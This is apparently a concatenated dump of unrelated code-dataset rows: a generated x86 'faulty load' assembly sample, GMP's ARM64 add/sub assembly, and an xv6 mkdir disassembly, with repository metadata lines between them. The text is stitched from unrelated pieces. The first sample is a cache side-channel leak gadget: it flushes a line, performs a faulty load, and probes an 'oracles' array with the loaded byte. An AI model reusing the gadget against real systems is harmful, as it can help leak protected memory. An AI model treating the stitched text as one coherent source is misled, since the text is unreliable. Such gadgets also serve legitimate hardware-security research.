.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %r14 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0xb269, %r13 nop nop nop nop add $40383, %r11 mov (%r13), %si nop nop nop nop and %rdi, %rdi lea addresses_WT_ht+0x11269, %rsi lea addresses_WT_ht+0x4829, %rdi nop and $36660, %r14 mov $76, %rcx rep movsb nop nop nop nop nop add $61702, %rcx lea addresses_normal_ht+0x170e9, %r13 cmp %r14, %r14 mov (%r13), %di add %r14, %r14 lea addresses_A_ht+0xf885, %r13 nop nop nop nop add $53664, %rbx mov $0x6162636465666768, %r14 movq %r14, %xmm0 and $0xffffffffffffffc0, %r13 movntdq %xmm0, (%r13) add $33636, %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %r14 pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %rax push %rbp push %rcx push %rdi push %rsi // Store lea addresses_US+0x154c9, %rbp nop nop nop xor %r13, %r13 mov $0x5152535455565758, %rax movq %rax, %xmm1 vmovups %ymm1, (%rbp) nop nop nop nop and %rax, %rax // Store lea addresses_A+0x17109, %r13 nop nop xor %rsi, %rsi mov $0x5152535455565758, %rbp movq %rbp, (%r13) nop nop nop nop nop and $27321, %rdi // Store lea addresses_RW+0x33e9, %rax nop nop nop cmp $51770, %r15 mov $0x5152535455565758, %rdi movq %rdi, %xmm3 vmovups %ymm3, (%rax) nop nop nop inc %rdi // Faulty Load lea addresses_WT+0x183e9, %rax clflush (%rax) nop cmp $58729, %rbp mov (%rax), %r15 lea oracles, %rbp and $0xff, %r15 shlq $12, %r15 mov (%rbp,%r15,1), %r15 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_US'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A'}} {'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_RW'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': True, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': True, 'type': 'addresses_A_ht'}} {'58': 34} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
19.394558
148
0.651701
b1f3bb943ebb8ef020a6154ce290ca2663c3673e
2,910
asm
Assembly
third-party/gmp/gmp-src/mpn/arm64/aors_n.asm
jhh67/chapel
f041470e9b88b5fc4914c75aa5a37efcb46aa08f
[ "ECL-2.0", "Apache-2.0" ]
1,602
2015-01-06T11:26:31.000Z
2022-03-30T06:17:21.000Z
third-party/gmp/gmp-src/mpn/arm64/aors_n.asm
jhh67/chapel
f041470e9b88b5fc4914c75aa5a37efcb46aa08f
[ "ECL-2.0", "Apache-2.0" ]
11,789
2015-01-05T04:50:15.000Z
2022-03-31T23:39:19.000Z
third-party/gmp/gmp-src/mpn/arm64/aors_n.asm
jhh67/chapel
f041470e9b88b5fc4914c75aa5a37efcb46aa08f
[ "ECL-2.0", "Apache-2.0" ]
498
2015-01-08T18:58:18.000Z
2022-03-20T15:37:45.000Z
dnl ARM64 mpn_add_n and mpn_sub_n dnl Contributed to the GNU project by Torbjörn Granlund. dnl Copyright 2013, 2017 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C Cortex-A53 2.75-3.25 C Cortex-A57 1.5 C X-Gene 2.0 changecom(blah) define(`rp', `x0') define(`up', `x1') define(`vp', `x2') define(`n', `x3') ifdef(`OPERATION_add_n', ` define(`ADDSUBC', adcs) define(`CLRCY', `cmn xzr, xzr') define(`SETCY', `cmp $1, #1') define(`RETVAL', `cset x0, cs') define(`func_n', mpn_add_n) define(`func_nc', mpn_add_nc)') ifdef(`OPERATION_sub_n', ` define(`ADDSUBC', sbcs) define(`CLRCY', `cmp xzr, xzr') define(`SETCY', `cmp xzr, $1') define(`RETVAL', `cset x0, cc') define(`func_n', mpn_sub_n) define(`func_nc', mpn_sub_nc)') MULFUNC_PROLOGUE(mpn_add_n mpn_add_nc mpn_sub_n mpn_sub_nc) ASM_START() PROLOGUE(func_nc) SETCY( x4) b L(ent) EPILOGUE() PROLOGUE(func_n) CLRCY L(ent): lsr x18, n, #2 tbz n, #0, L(bx0) L(bx1): ldr x7, [up] ldr x11, [vp] ADDSUBC x13, x7, x11 str x13, [rp],#8 tbnz n, #1, L(b11) L(b01): cbz x18, L(ret) ldp x4, x5, [up,#8] ldp x8, x9, [vp,#8] sub up, up, #8 sub vp, vp, #8 b L(mid) L(b11): ldp x6, x7, [up,#8] ldp x10, x11, [vp,#8] add up, up, #8 add vp, vp, #8 cbz x18, L(end) b L(top) L(bx0): tbnz n, #1, L(b10) L(b00): ldp x4, x5, [up] ldp x8, x9, [vp] sub up, up, #16 sub vp, vp, #16 b L(mid) L(b10): ldp x6, x7, [up] ldp x10, x11, [vp] cbz x18, L(end) ALIGN(16) L(top): ldp x4, x5, [up,#16] ldp x8, x9, [vp,#16] ADDSUBC x12, x6, x10 ADDSUBC x13, x7, x11 stp x12, x13, [rp],#16 L(mid): ldp x6, x7, [up,#32]! ldp x10, x11, [vp,#32]! ADDSUBC x12, x4, x8 ADDSUBC x13, x5, x9 stp x12, x13, [rp],#16 sub x18, x18, #1 cbnz x18, L(top) L(end): ADDSUBC x12, x6, x10 ADDSUBC x13, x7, x11 stp x12, x13, [rp] L(ret): RETVAL ret EPILOGUE()
23.095238
79
0.664948
ce80db98bb2061b046261f8e50832e4d2dc55a53
42,280
asm
Assembly
user/mkdir.asm
noyaviv/try
c45dc9773c42b2ec1f46b62b33d3ba2299dc5838
[ "MIT-0" ]
null
null
null
user/mkdir.asm
noyaviv/try
c45dc9773c42b2ec1f46b62b33d3ba2299dc5838
[ "MIT-0" ]
null
null
null
user/mkdir.asm
noyaviv/try
c45dc9773c42b2ec1f46b62b33d3ba2299dc5838
[ "MIT-0" ]
null
null
null
user/_mkdir: file format elf64-littleriscv Disassembly of section .text: 0000000000000000 <main>: #include "kernel/stat.h" #include "user/user.h" int main(int argc, char *argv[]) { 0: 7179 addi sp,sp,-48 2: f406 sd ra,40(sp) 4: f022 sd s0,32(sp) 6: ec26 sd s1,24(sp) 8: e84a sd s2,16(sp) a: e44e sd s3,8(sp) c: 1800 addi s0,sp,48 int i; if(argc < 2){ e: 4785 li a5,1 10: 02a7d763 bge a5,a0,3e <main+0x3e> 14: 00858493 addi s1,a1,8 18: ffe5091b addiw s2,a0,-2 1c: 02091793 slli a5,s2,0x20 20: 01d7d913 srli s2,a5,0x1d 24: 05c1 addi a1,a1,16 26: 992e add s2,s2,a1 fprintf(2, "Usage: mkdir files...\n"); exit(1); } for(i = 1; i < argc; i++){ if(mkdir(argv[i]) < 0){ 28: 6088 ld a0,0(s1) 2a: 00000097 auipc ra,0x0 2e: 380080e7 jalr 896(ra) # 3aa <mkdir> 32: 02054463 bltz a0,5a <main+0x5a> for(i = 1; i < argc; i++){ 36: 04a1 addi s1,s1,8 38: ff2498e3 bne s1,s2,28 <main+0x28> 3c: a80d j 6e <main+0x6e> fprintf(2, "Usage: mkdir files...\n"); 3e: 00001597 auipc a1,0x1 42: 83258593 addi a1,a1,-1998 # 870 <malloc+0xe8> 46: 4509 li a0,2 48: 00000097 auipc ra,0x0 4c: 654080e7 jalr 1620(ra) # 69c <fprintf> exit(1); 50: 4505 li a0,1 52: 00000097 auipc ra,0x0 56: 2f0080e7 jalr 752(ra) # 342 <exit> fprintf(2, "mkdir: %s failed to create\n", argv[i]); 5a: 6090 ld a2,0(s1) 5c: 00001597 auipc a1,0x1 60: 82c58593 addi a1,a1,-2004 # 888 <malloc+0x100> 64: 4509 li a0,2 66: 00000097 auipc ra,0x0 6a: 636080e7 jalr 1590(ra) # 69c <fprintf> break; } } exit(0); 6e: 4501 li a0,0 70: 00000097 auipc ra,0x0 74: 2d2080e7 jalr 722(ra) # 342 <exit> 0000000000000078 <strcpy>: #include "kernel/fcntl.h" #include "user/user.h" char* strcpy(char *s, const char *t) { 78: 1141 addi sp,sp,-16 7a: e422 sd s0,8(sp) 7c: 0800 addi s0,sp,16 char *os; os = s; while((*s++ = *t++) != 0) 7e: 87aa mv a5,a0 80: 0585 addi a1,a1,1 82: 0785 addi a5,a5,1 84: fff5c703 lbu a4,-1(a1) 88: fee78fa3 sb a4,-1(a5) 8c: fb75 bnez a4,80 <strcpy+0x8> ; return os; } 8e: 6422 ld s0,8(sp) 90: 0141 addi sp,sp,16 92: 8082 ret 0000000000000094 <strcmp>: int strcmp(const char *p, const char *q) { 94: 1141 addi sp,sp,-16 96: e422 sd s0,8(sp) 98: 0800 addi s0,sp,16 while(*p && *p == *q) 9a: 00054783 lbu a5,0(a0) 9e: cb91 beqz a5,b2 <strcmp+0x1e> a0: 0005c703 lbu a4,0(a1) a4: 00f71763 bne a4,a5,b2 <strcmp+0x1e> p++, q++; a8: 0505 addi a0,a0,1 aa: 0585 addi a1,a1,1 while(*p && *p == *q) ac: 00054783 lbu a5,0(a0) b0: fbe5 bnez a5,a0 <strcmp+0xc> return (uchar)*p - (uchar)*q; b2: 0005c503 lbu a0,0(a1) } b6: 40a7853b subw a0,a5,a0 ba: 6422 ld s0,8(sp) bc: 0141 addi sp,sp,16 be: 8082 ret 00000000000000c0 <strlen>: uint strlen(const char *s) { c0: 1141 addi sp,sp,-16 c2: e422 sd s0,8(sp) c4: 0800 addi s0,sp,16 int n; for(n = 0; s[n]; n++) c6: 00054783 lbu a5,0(a0) ca: cf91 beqz a5,e6 <strlen+0x26> cc: 0505 addi a0,a0,1 ce: 87aa mv a5,a0 d0: 4685 li a3,1 d2: 9e89 subw a3,a3,a0 d4: 00f6853b addw a0,a3,a5 d8: 0785 addi a5,a5,1 da: fff7c703 lbu a4,-1(a5) de: fb7d bnez a4,d4 <strlen+0x14> ; return n; } e0: 6422 ld s0,8(sp) e2: 0141 addi sp,sp,16 e4: 8082 ret for(n = 0; s[n]; n++) e6: 4501 li a0,0 e8: bfe5 j e0 <strlen+0x20> 00000000000000ea <memset>: void* memset(void *dst, int c, uint n) { ea: 1141 addi sp,sp,-16 ec: e422 sd s0,8(sp) ee: 0800 addi s0,sp,16 char *cdst = (char *) dst; int i; for(i = 0; i < n; i++){ f0: ca19 beqz a2,106 <memset+0x1c> f2: 87aa mv a5,a0 f4: 1602 slli a2,a2,0x20 f6: 9201 srli a2,a2,0x20 f8: 00a60733 add a4,a2,a0 cdst[i] = c; fc: 00b78023 sb a1,0(a5) for(i = 0; i < n; i++){ 100: 0785 addi a5,a5,1 102: fee79de3 bne a5,a4,fc <memset+0x12> } return dst; } 106: 6422 ld s0,8(sp) 108: 0141 addi sp,sp,16 10a: 8082 ret 000000000000010c <strchr>: char* strchr(const char *s, char c) { 10c: 1141 addi sp,sp,-16 10e: e422 sd s0,8(sp) 110: 0800 addi s0,sp,16 for(; *s; s++) 112: 00054783 lbu a5,0(a0) 116: cb99 beqz a5,12c <strchr+0x20> if(*s == c) 118: 00f58763 beq a1,a5,126 <strchr+0x1a> for(; *s; s++) 11c: 0505 addi a0,a0,1 11e: 00054783 lbu a5,0(a0) 122: fbfd bnez a5,118 <strchr+0xc> return (char*)s; return 0; 124: 4501 li a0,0 } 126: 6422 ld s0,8(sp) 128: 0141 addi sp,sp,16 12a: 8082 ret return 0; 12c: 4501 li a0,0 12e: bfe5 j 126 <strchr+0x1a> 0000000000000130 <gets>: char* gets(char *buf, int max) { 130: 711d addi sp,sp,-96 132: ec86 sd ra,88(sp) 134: e8a2 sd s0,80(sp) 136: e4a6 sd s1,72(sp) 138: e0ca sd s2,64(sp) 13a: fc4e sd s3,56(sp) 13c: f852 sd s4,48(sp) 13e: f456 sd s5,40(sp) 140: f05a sd s6,32(sp) 142: ec5e sd s7,24(sp) 144: 1080 addi s0,sp,96 146: 8baa mv s7,a0 148: 8a2e mv s4,a1 int i, cc; char c; for(i=0; i+1 < max; ){ 14a: 892a mv s2,a0 14c: 4481 li s1,0 cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; if(c == '\n' || c == '\r') 14e: 4aa9 li s5,10 150: 4b35 li s6,13 for(i=0; i+1 < max; ){ 152: 89a6 mv s3,s1 154: 2485 addiw s1,s1,1 156: 0344d863 bge s1,s4,186 <gets+0x56> cc = read(0, &c, 1); 15a: 4605 li a2,1 15c: faf40593 addi a1,s0,-81 160: 4501 li a0,0 162: 00000097 auipc ra,0x0 166: 1f8080e7 jalr 504(ra) # 35a <read> if(cc < 1) 16a: 00a05e63 blez a0,186 <gets+0x56> buf[i++] = c; 16e: faf44783 lbu a5,-81(s0) 172: 00f90023 sb a5,0(s2) if(c == '\n' || c == '\r') 176: 01578763 beq a5,s5,184 <gets+0x54> 17a: 0905 addi s2,s2,1 17c: fd679be3 bne a5,s6,152 <gets+0x22> for(i=0; i+1 < max; ){ 180: 89a6 mv s3,s1 182: a011 j 186 <gets+0x56> 184: 89a6 mv s3,s1 break; } buf[i] = '\0'; 186: 99de add s3,s3,s7 188: 00098023 sb zero,0(s3) return buf; } 18c: 855e mv a0,s7 18e: 60e6 ld ra,88(sp) 190: 6446 ld s0,80(sp) 192: 64a6 ld s1,72(sp) 194: 6906 ld s2,64(sp) 196: 79e2 ld s3,56(sp) 198: 7a42 ld s4,48(sp) 19a: 7aa2 ld s5,40(sp) 19c: 7b02 ld s6,32(sp) 19e: 6be2 ld s7,24(sp) 1a0: 6125 addi sp,sp,96 1a2: 8082 ret 00000000000001a4 <stat>: int stat(const char *n, struct stat *st) { 1a4: 1101 addi sp,sp,-32 1a6: ec06 sd ra,24(sp) 1a8: e822 sd s0,16(sp) 1aa: e426 sd s1,8(sp) 1ac: e04a sd s2,0(sp) 1ae: 1000 addi s0,sp,32 1b0: 892e mv s2,a1 int fd; int r; fd = open(n, O_RDONLY); 1b2: 4581 li a1,0 1b4: 00000097 auipc ra,0x0 1b8: 1ce080e7 jalr 462(ra) # 382 <open> if(fd < 0) 1bc: 02054563 bltz a0,1e6 <stat+0x42> 1c0: 84aa mv s1,a0 return -1; r = fstat(fd, st); 1c2: 85ca mv a1,s2 1c4: 00000097 auipc ra,0x0 1c8: 1d6080e7 jalr 470(ra) # 39a <fstat> 1cc: 892a mv s2,a0 close(fd); 1ce: 8526 mv a0,s1 1d0: 00000097 auipc ra,0x0 1d4: 19a080e7 jalr 410(ra) # 36a <close> return r; } 1d8: 854a mv a0,s2 1da: 60e2 ld ra,24(sp) 1dc: 6442 ld s0,16(sp) 1de: 64a2 ld s1,8(sp) 1e0: 6902 ld s2,0(sp) 1e2: 6105 addi sp,sp,32 1e4: 8082 ret return -1; 1e6: 597d li s2,-1 1e8: bfc5 j 1d8 <stat+0x34> 00000000000001ea <atoi>: int atoi(const char *s) { 1ea: 1141 addi sp,sp,-16 1ec: e422 sd s0,8(sp) 1ee: 0800 addi s0,sp,16 int n; n = 0; while('0' <= *s && *s <= '9') 1f0: 00054603 lbu a2,0(a0) 1f4: fd06079b addiw a5,a2,-48 1f8: 0ff7f793 andi a5,a5,255 1fc: 4725 li a4,9 1fe: 02f76963 bltu a4,a5,230 <atoi+0x46> 202: 86aa mv a3,a0 n = 0; 204: 4501 li a0,0 while('0' <= *s && *s <= '9') 206: 45a5 li a1,9 n = n*10 + *s++ - '0'; 208: 0685 addi a3,a3,1 20a: 0025179b slliw a5,a0,0x2 20e: 9fa9 addw a5,a5,a0 210: 0017979b slliw a5,a5,0x1 214: 9fb1 addw a5,a5,a2 216: fd07851b addiw a0,a5,-48 while('0' <= *s && *s <= '9') 21a: 0006c603 lbu a2,0(a3) 21e: fd06071b addiw a4,a2,-48 222: 0ff77713 andi a4,a4,255 226: fee5f1e3 bgeu a1,a4,208 <atoi+0x1e> return n; } 22a: 6422 ld s0,8(sp) 22c: 0141 addi sp,sp,16 22e: 8082 ret n = 0; 230: 4501 li a0,0 232: bfe5 j 22a <atoi+0x40> 0000000000000234 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 234: 1141 addi sp,sp,-16 236: e422 sd s0,8(sp) 238: 0800 addi s0,sp,16 char *dst; const char *src; dst = vdst; src = vsrc; if (src > dst) { 23a: 02b57463 bgeu a0,a1,262 <memmove+0x2e> while(n-- > 0) 23e: 00c05f63 blez a2,25c <memmove+0x28> 242: 1602 slli a2,a2,0x20 244: 9201 srli a2,a2,0x20 246: 00c507b3 add a5,a0,a2 dst = vdst; 24a: 872a mv a4,a0 *dst++ = *src++; 24c: 0585 addi a1,a1,1 24e: 0705 addi a4,a4,1 250: fff5c683 lbu a3,-1(a1) 254: fed70fa3 sb a3,-1(a4) while(n-- > 0) 258: fee79ae3 bne a5,a4,24c <memmove+0x18> src += n; while(n-- > 0) *--dst = *--src; } return vdst; } 25c: 6422 ld s0,8(sp) 25e: 0141 addi sp,sp,16 260: 8082 ret dst += n; 262: 00c50733 add a4,a0,a2 src += n; 266: 95b2 add a1,a1,a2 while(n-- > 0) 268: fec05ae3 blez a2,25c <memmove+0x28> 26c: fff6079b addiw a5,a2,-1 270: 1782 slli a5,a5,0x20 272: 9381 srli a5,a5,0x20 274: fff7c793 not a5,a5 278: 97ba add a5,a5,a4 *--dst = *--src; 27a: 15fd addi a1,a1,-1 27c: 177d addi a4,a4,-1 27e: 0005c683 lbu a3,0(a1) 282: 00d70023 sb a3,0(a4) while(n-- > 0) 286: fee79ae3 bne a5,a4,27a <memmove+0x46> 28a: bfc9 j 25c <memmove+0x28> 000000000000028c <memcmp>: int memcmp(const void *s1, const void *s2, uint n) { 28c: 1141 addi sp,sp,-16 28e: e422 sd s0,8(sp) 290: 0800 addi s0,sp,16 const char *p1 = s1, *p2 = s2; while (n-- > 0) { 292: ca05 beqz a2,2c2 <memcmp+0x36> 294: fff6069b addiw a3,a2,-1 298: 1682 slli a3,a3,0x20 29a: 9281 srli a3,a3,0x20 29c: 0685 addi a3,a3,1 29e: 96aa add a3,a3,a0 if (*p1 != *p2) { 2a0: 00054783 lbu a5,0(a0) 2a4: 0005c703 lbu a4,0(a1) 2a8: 00e79863 bne a5,a4,2b8 <memcmp+0x2c> return *p1 - *p2; } p1++; 2ac: 0505 addi a0,a0,1 p2++; 2ae: 0585 addi a1,a1,1 while (n-- > 0) { 2b0: fed518e3 bne a0,a3,2a0 <memcmp+0x14> } return 0; 2b4: 4501 li a0,0 2b6: a019 j 2bc <memcmp+0x30> return *p1 - *p2; 2b8: 40e7853b subw a0,a5,a4 } 2bc: 6422 ld s0,8(sp) 2be: 0141 addi sp,sp,16 2c0: 8082 ret return 0; 2c2: 4501 li a0,0 2c4: bfe5 j 2bc <memcmp+0x30> 00000000000002c6 <memcpy>: void * memcpy(void *dst, const void *src, uint n) { 2c6: 1141 addi sp,sp,-16 2c8: e406 sd ra,8(sp) 2ca: e022 sd s0,0(sp) 2cc: 0800 addi s0,sp,16 return memmove(dst, src, n); 2ce: 00000097 auipc ra,0x0 2d2: f66080e7 jalr -154(ra) # 234 <memmove> } 2d6: 60a2 ld ra,8(sp) 2d8: 6402 ld s0,0(sp) 2da: 0141 addi sp,sp,16 2dc: 8082 ret 00000000000002de <my_strcat>: // functions added by us char* my_strcat(char* destination, const char* source) { 2de: 1141 addi sp,sp,-16 2e0: e422 sd s0,8(sp) 2e2: 0800 addi s0,sp,16 int i, j; // move to the end of destination string for (i = 0; destination[i] != '\0'; i++); 2e4: 00054783 lbu a5,0(a0) 2e8: c7a9 beqz a5,332 <my_strcat+0x54> 2ea: 00150713 addi a4,a0,1 2ee: 87ba mv a5,a4 2f0: 4685 li a3,1 2f2: 9e99 subw a3,a3,a4 2f4: 00f6863b addw a2,a3,a5 2f8: 0785 addi a5,a5,1 2fa: fff7c703 lbu a4,-1(a5) 2fe: fb7d bnez a4,2f4 <my_strcat+0x16> // i now points to terminating null character in destination // Appends characters of source to the destination string for (j = 0; source[j] != '\0'; j++) 300: 0005c683 lbu a3,0(a1) 304: ca8d beqz a3,336 <my_strcat+0x58> 306: 4785 li a5,1 destination[i + j] = source[j]; 308: 00f60733 add a4,a2,a5 30c: 972a add a4,a4,a0 30e: fed70fa3 sb a3,-1(a4) for (j = 0; source[j] != '\0'; j++) 312: 0007881b sext.w a6,a5 316: 0785 addi a5,a5,1 318: 00f58733 add a4,a1,a5 31c: fff74683 lbu a3,-1(a4) 320: f6e5 bnez a3,308 <my_strcat+0x2a> // null terminate destination string destination[i + j] = '\0'; 322: 0106063b addw a2,a2,a6 326: 962a add a2,a2,a0 328: 00060023 sb zero,0(a2) // destination is returned by standard strcat() return destination; 32c: 6422 ld s0,8(sp) 32e: 0141 addi sp,sp,16 330: 8082 ret for (i = 0; destination[i] != '\0'; i++); 332: 4601 li a2,0 334: b7f1 j 300 <my_strcat+0x22> for (j = 0; source[j] != '\0'; j++) 336: 4801 li a6,0 338: b7ed j 322 <my_strcat+0x44> 000000000000033a <fork>: # generated by usys.pl - do not edit #include "kernel/syscall.h" .global fork fork: li a7, SYS_fork 33a: 4885 li a7,1 ecall 33c: 00000073 ecall ret 340: 8082 ret 0000000000000342 <exit>: .global exit exit: li a7, SYS_exit 342: 4889 li a7,2 ecall 344: 00000073 ecall ret 348: 8082 ret 000000000000034a <wait>: .global wait wait: li a7, SYS_wait 34a: 488d li a7,3 ecall 34c: 00000073 ecall ret 350: 8082 ret 0000000000000352 <pipe>: .global pipe pipe: li a7, SYS_pipe 352: 4891 li a7,4 ecall 354: 00000073 ecall ret 358: 8082 ret 000000000000035a <read>: .global read read: li a7, SYS_read 35a: 4895 li a7,5 ecall 35c: 00000073 ecall ret 360: 8082 ret 0000000000000362 <write>: .global write write: li a7, SYS_write 362: 48c1 li a7,16 ecall 364: 00000073 ecall ret 368: 8082 ret 000000000000036a <close>: .global close close: li a7, SYS_close 36a: 48d5 li a7,21 ecall 36c: 00000073 ecall ret 370: 8082 ret 0000000000000372 <kill>: .global kill kill: li a7, SYS_kill 372: 4899 li a7,6 ecall 374: 00000073 ecall ret 378: 8082 ret 000000000000037a <exec>: .global exec exec: li a7, SYS_exec 37a: 489d li a7,7 ecall 37c: 00000073 ecall ret 380: 8082 ret 0000000000000382 <open>: .global open open: li a7, SYS_open 382: 48bd li a7,15 ecall 384: 00000073 ecall ret 388: 8082 ret 000000000000038a <mknod>: .global mknod mknod: li a7, SYS_mknod 38a: 48c5 li a7,17 ecall 38c: 00000073 ecall ret 390: 8082 ret 0000000000000392 <unlink>: .global unlink unlink: li a7, SYS_unlink 392: 48c9 li a7,18 ecall 394: 00000073 ecall ret 398: 8082 ret 000000000000039a <fstat>: .global fstat fstat: li a7, SYS_fstat 39a: 48a1 li a7,8 ecall 39c: 00000073 ecall ret 3a0: 8082 ret 00000000000003a2 <link>: .global link link: li a7, SYS_link 3a2: 48cd li a7,19 ecall 3a4: 00000073 ecall ret 3a8: 8082 ret 00000000000003aa <mkdir>: .global mkdir mkdir: li a7, SYS_mkdir 3aa: 48d1 li a7,20 ecall 3ac: 00000073 ecall ret 3b0: 8082 ret 00000000000003b2 <chdir>: .global chdir chdir: li a7, SYS_chdir 3b2: 48a5 li a7,9 ecall 3b4: 00000073 ecall ret 3b8: 8082 ret 00000000000003ba <dup>: .global dup dup: li a7, SYS_dup 3ba: 48a9 li a7,10 ecall 3bc: 00000073 ecall ret 3c0: 8082 ret 00000000000003c2 <getpid>: .global getpid getpid: li a7, SYS_getpid 3c2: 48ad li a7,11 ecall 3c4: 00000073 ecall ret 3c8: 8082 ret 00000000000003ca <sbrk>: .global sbrk sbrk: li a7, SYS_sbrk 3ca: 48b1 li a7,12 ecall 3cc: 00000073 ecall ret 3d0: 8082 ret 00000000000003d2 <sleep>: .global sleep sleep: li a7, SYS_sleep 3d2: 48b5 li a7,13 ecall 3d4: 00000073 ecall ret 3d8: 8082 ret 00000000000003da <uptime>: .global uptime uptime: li a7, SYS_uptime 3da: 48b9 li a7,14 ecall 3dc: 00000073 ecall ret 3e0: 8082 ret 00000000000003e2 <trace>: .global trace trace: li a7, SYS_trace 3e2: 48d9 li a7,22 ecall 3e4: 00000073 ecall ret 3e8: 8082 ret 00000000000003ea <wait_stat>: .global wait_stat wait_stat: li a7, SYS_wait_stat 3ea: 48dd li a7,23 ecall 3ec: 00000073 ecall ret 3f0: 8082 ret 00000000000003f2 <putc>: static char digits[] = "0123456789ABCDEF"; static void putc(int fd, char c) { 3f2: 1101 addi sp,sp,-32 3f4: ec06 sd ra,24(sp) 3f6: e822 sd s0,16(sp) 3f8: 1000 addi s0,sp,32 3fa: feb407a3 sb a1,-17(s0) write(fd, &c, 1); 3fe: 4605 li a2,1 400: fef40593 addi a1,s0,-17 404: 00000097 auipc ra,0x0 408: f5e080e7 jalr -162(ra) # 362 <write> } 40c: 60e2 ld ra,24(sp) 40e: 6442 ld s0,16(sp) 410: 6105 addi sp,sp,32 412: 8082 ret 0000000000000414 <printint>: static void printint(int fd, int xx, int base, int sgn) { 414: 7139 addi sp,sp,-64 416: fc06 sd ra,56(sp) 418: f822 sd s0,48(sp) 41a: f426 sd s1,40(sp) 41c: f04a sd s2,32(sp) 41e: ec4e sd s3,24(sp) 420: 0080 addi s0,sp,64 422: 84aa mv s1,a0 char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 424: c299 beqz a3,42a <printint+0x16> 426: 0805c863 bltz a1,4b6 <printint+0xa2> neg = 1; x = -xx; } else { x = xx; 42a: 2581 sext.w a1,a1 neg = 0; 42c: 4881 li a7,0 42e: fc040693 addi a3,s0,-64 } i = 0; 432: 4701 li a4,0 do{ buf[i++] = digits[x % base]; 434: 2601 sext.w a2,a2 436: 00000517 auipc a0,0x0 43a: 47a50513 addi a0,a0,1146 # 8b0 <digits> 43e: 883a mv a6,a4 440: 2705 addiw a4,a4,1 442: 02c5f7bb remuw a5,a1,a2 446: 1782 slli a5,a5,0x20 448: 9381 srli a5,a5,0x20 44a: 97aa add a5,a5,a0 44c: 0007c783 lbu a5,0(a5) 450: 00f68023 sb a5,0(a3) }while((x /= base) != 0); 454: 0005879b sext.w a5,a1 458: 02c5d5bb divuw a1,a1,a2 45c: 0685 addi a3,a3,1 45e: fec7f0e3 bgeu a5,a2,43e <printint+0x2a> if(neg) 462: 00088b63 beqz a7,478 <printint+0x64> buf[i++] = '-'; 466: fd040793 addi a5,s0,-48 46a: 973e add a4,a4,a5 46c: 02d00793 li a5,45 470: fef70823 sb a5,-16(a4) 474: 0028071b addiw a4,a6,2 while(--i >= 0) 478: 02e05863 blez a4,4a8 <printint+0x94> 47c: fc040793 addi a5,s0,-64 480: 00e78933 add s2,a5,a4 484: fff78993 addi s3,a5,-1 488: 99ba add s3,s3,a4 48a: 377d addiw a4,a4,-1 48c: 1702 slli a4,a4,0x20 48e: 9301 srli a4,a4,0x20 490: 40e989b3 sub s3,s3,a4 putc(fd, buf[i]); 494: fff94583 lbu a1,-1(s2) 498: 8526 mv a0,s1 49a: 00000097 auipc ra,0x0 49e: f58080e7 jalr -168(ra) # 3f2 <putc> while(--i >= 0) 4a2: 197d addi s2,s2,-1 4a4: ff3918e3 bne s2,s3,494 <printint+0x80> } 4a8: 70e2 ld ra,56(sp) 4aa: 7442 ld s0,48(sp) 4ac: 74a2 ld s1,40(sp) 4ae: 7902 ld s2,32(sp) 4b0: 69e2 ld s3,24(sp) 4b2: 6121 addi sp,sp,64 4b4: 8082 ret x = -xx; 4b6: 40b005bb negw a1,a1 neg = 1; 4ba: 4885 li a7,1 x = -xx; 4bc: bf8d j 42e <printint+0x1a> 00000000000004be <vprintf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void vprintf(int fd, const char *fmt, va_list ap) { 4be: 7119 addi sp,sp,-128 4c0: fc86 sd ra,120(sp) 4c2: f8a2 sd s0,112(sp) 4c4: f4a6 sd s1,104(sp) 4c6: f0ca sd s2,96(sp) 4c8: ecce sd s3,88(sp) 4ca: e8d2 sd s4,80(sp) 4cc: e4d6 sd s5,72(sp) 4ce: e0da sd s6,64(sp) 4d0: fc5e sd s7,56(sp) 4d2: f862 sd s8,48(sp) 